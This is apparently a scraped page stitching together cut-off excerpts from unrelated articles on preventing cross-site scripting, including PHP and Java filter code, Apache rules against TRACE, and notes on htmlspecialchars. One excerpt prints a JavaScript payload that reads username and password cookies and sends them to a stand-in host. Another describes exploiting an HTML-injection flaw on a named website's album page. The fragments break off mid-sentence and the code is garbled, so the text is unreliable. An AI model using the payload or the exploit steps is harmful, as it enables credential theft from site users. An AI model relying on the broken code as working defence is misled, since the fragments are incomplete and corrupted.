how to prevent xss attacks

PHP defends against XSS attacks, using methods and details to see http://www.tongqiong.com/read.php?tid-474.html function Remove_xss ($val) { Remove all non-printable characters. CR (0a) and LF (0b) and TAB (9) are allowed This prevents some character re-spacing such as Note that you had to handle splits with \ n, \ r, and \ t later since they *are* allowed in some inputs

Introduction to cross Site scripting attacks (Scripting), which is not confused with the abbreviations of cascading style sheets (cascading style Sheets, CSS), is abbreviated as XSS for cross-site scripting attacks.A malicious attacker inserts malicious script code into a Web page, and when the user browses to the page, the script code embedded within the Web is executed to achieve the special purpose of th

Servletexception { } @Override public void DoFilter (ServletRequest request, servletresponse response, Filterchain chain) throws IOException, Servletexception { Chain.dofilter (New Xsshttpservletrequestwrapper ((httpservletrequest) request), response); } @Override public void Destroy () { } } The key is the implementation of Xsshttpservletrequestwrapper, inheriting the httpservletrequestwrapper of the servlet, and rewriting the corresponding several possible methods w

user name and password of other users.A malicious user would enter thisLet's see what's hidden in http://test.com/hack.js.var Username=cookiehelper.getcookie (' username '). Value;var password=cookiehelper.getcookie (' password '). Value;var Script =document.createelement (' script '); script.src= ' http://test.com/index.php?username= ' +username+ ' Password= ' +password;document.body.appendchild (script);A few simple JavaScript, get the user name password in the cookie, use JSONP to http://te

can cause XSS attacks. It can be used to mount Trojans and steal sensitive website information! Vulnerability exploitation:Register a user and go to the album management page to create a new album.Album management. Create a new album in the lower right corner. You can enter Html code for the album name.Http://52cmd.cn/usercpspacemanagealbum.aspxHttp://52cmd.cn/usercpspacemanagealbum.aspx? Albumid =-1 In

Trace and track are the HTTP methods used to debug Web server connections. a cross-site scripting vulnerability exists in a server that supports this approach, often referred to as XST when describing various browser defects. An attacker could exploit this vulnerability to spoof legitimate users and obtain their private information. Disabling trace can be accomplished by using the rewrite featureRewriteengine onRewritecondi%{request_method} ^tracerewriterule. *-[F]or you can configure the approp

1. Write a filter to handle escape characters to prevent SQL injection Package com.xinrui.flower.filter; Import java.io.IOException; Import Javax.servlet.Filter; Import Javax.servlet.FilterChain; Import Javax.servlet.FilterConfig; Import javax.servlet.ServletException; Import Javax.servlet.ServletRequest; Import Javax.servlet.ServletResponse; /** * * creation time: February 23, 2016 PM 1:34:04 * Project name: Flower * @author Liang Zhicheng *

White Wolf Source: Www.manks.top/article/yii2_filter_xss_code_or_safe_to_databaseThe copyright belongs to the author, welcome reprint, but without the consent of the author must retain this paragraph, and in the article page obvious location to the original link, otherwise reserves the right to pursue legal responsibility.In actual development, the language or framework involved, the Web security issues are always unavoidable to consider, the subconscious considerations.It means that there is a

Php emergency code to prevent website attacks, php to prevent emergency code. Php emergency code to prevent websites from being attacked. php has recently prevented a website from being attacked and the database has been flushed away. Fortunately, there is a database backup on the customer's machine. In case of such st

unconverted. In htmlspecialchars: (Ampersand) becomes amp; "(Double quote) becomes quot; when ENT_NOQUOTES is not set. (Single quote) becomes #039; only when ENT_QUOTES is set. > (Greater than) becomes gt; Therefore, using htmlentities ($ variable, ENT_QUOTES) is safer than htmlentities ($ variable. however, htmlentities () is only a character processing function. In many cases, it may cause xss attacks